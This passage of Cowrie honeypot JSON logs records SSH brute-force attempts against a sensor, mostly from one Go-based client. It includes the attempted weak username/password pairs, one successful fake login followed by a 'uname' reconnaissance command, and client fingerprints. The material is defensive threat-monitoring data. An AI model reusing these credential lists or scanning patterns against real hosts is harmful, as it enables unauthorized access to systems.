0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:09.303503Z","src_ip":"192.109.200.78","session":"1275d79532df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testpass123","message":"login attempt [root/testpass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:09.556921Z","src_ip":"192.109.200.78","session":"1275d79532df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:10.747541Z","src_ip":"192.109.200.78","session":"1275d79532df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49940,"dst_ip":"10.17.0.5","dst_port":22,"session":"a87d18330456","protocol":"ssh","message":"New connection: 192.109.200.78:49940 (10.17.0.5:22) [session: a87d18330456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:14.509876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:14.515636Z","src_ip":"192.109.200.78","session":"a87d18330456","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:14.600134Z","src_ip":"192.109.200.78","session":"a87d18330456","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"12345","message":"login attempt [steam/12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:14.848353Z","src_ip":"192.109.200.78","session":"a87d18330456","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:15.064442Z","src_ip":"192.109.200.78","session":"a87d18330456","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:15.068237Z","src_ip":"192.109.200.78","session":"a87d18330456","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:15.153914Z","src_ip":"192.109.200.78","session":"a87d18330456","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:15.158810Z","src_ip":"192.109.200.78","session":"a87d18330456","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49948,"dst_ip":"10.17.0.5","dst_port":22,"session":"656b54cc3845","protocol":"ssh","message":"New connection: 192.109.200.78:49948 (10.17.0.5:22) [session: 656b54cc3845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:18.477638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:18.485538Z","src_ip":"192.109.200.78","session":"656b54cc3845","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:18.574810Z","src_ip":"192.109.200.78","session":"656b54cc3845","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd","message":"login attempt [root/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:18.824189Z","src_ip":"192.109.200.78","session":"656b54cc3845","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:19.916023Z","src_ip":"192.109.200.78","session":"656b54cc3845","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54466,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c94329c036c","protocol":"ssh","message":"New connection: 192.109.200.78:54466 (10.17.0.5:22) [session: 9c94329c036c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:21.714577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:21.723174Z","src_ip":"192.109.200.78","session":"9c94329c036c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:21.809781Z","src_ip":"192.109.200.78","session":"9c94329c036c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dani","password":"dani","message":"login attempt [dani/dani] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:22.061351Z","src_ip":"192.109.200.78","session":"9c94329c036c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:23.146349Z","src_ip":"192.109.200.78","session":"9c94329c036c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54476,"dst_ip":"10.17.0.5","dst_port":22,"session":"ced9ede19b04","protocol":"ssh","message":"New connection: 192.109.200.78:54476 (10.17.0.5:22) [session: ced9ede19b04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:25.807795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:25.888855Z","src_ip":"192.109.200.78","session":"ced9ede19b04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:26.051553Z","src_ip":"192.109.200.78","session":"ced9ede19b04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1111","message":"login attempt [user1/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:26.337529Z","src_ip":"192.109.200.78","session":"ced9ede19b04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36058,"dst_ip":"159.203.135.109","dst_port":22,"session":"f31167b412e0","protocol":"ssh","message":"New connection: 159.203.92.129:36058 (159.203.135.109:22) [session: f31167b412e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:26.864576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:26.873279Z","src_ip":"159.203.92.129","session":"f31167b412e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:26.878318Z","src_ip":"159.203.92.129","session":"f31167b412e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Welcome123","message":"login attempt [admin/Welcome123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:26.890185Z","src_ip":"159.203.92.129","session":"f31167b412e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:27.423851Z","src_ip":"192.109.200.78","session":"ced9ede19b04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:27.899592Z","src_ip":"159.203.92.129","session":"f31167b412e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59768,"dst_ip":"10.17.0.5","dst_port":22,"session":"71537e494db6","protocol":"ssh","message":"New connection: 192.109.200.78:59768 (10.17.0.5:22) [session: 71537e494db6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:29.985250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:29.990229Z","src_ip":"192.109.200.78","session":"71537e494db6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:30.072114Z","src_ip":"192.109.200.78","session":"71537e494db6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"login","password":"login","message":"login attempt [login/login] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:30.336869Z","src_ip":"192.109.200.78","session":"71537e494db6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:31.424434Z","src_ip":"192.109.200.78","session":"71537e494db6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59772,"dst_ip":"10.17.0.5","dst_port":22,"session":"14c869c947c2","protocol":"ssh","message":"New connection: 192.109.200.78:59772 (10.17.0.5:22) [session: 14c869c947c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:34.040284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:34.045317Z","src_ip":"192.109.200.78","session":"14c869c947c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:34.127574Z","src_ip":"192.109.200.78","session":"14c869c947c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root2","password":"123456","message":"login attempt [root2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:34.387659Z","src_ip":"192.109.200.78","session":"14c869c947c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:35.471853Z","src_ip":"192.109.200.78","session":"14c869c947c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.383217573165894,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:37.113796Z","src_ip":"5.42.229.203","session":"448cd08c7971","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55978,"dst_ip":"10.17.0.5","dst_port":22,"session":"5052e5719f55","protocol":"ssh","message":"New connection: 192.109.200.78:55978 (10.17.0.5:22) [session: 5052e5719f55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:38.158846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:38.163725Z","src_ip":"192.109.200.78","session":"5052e5719f55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-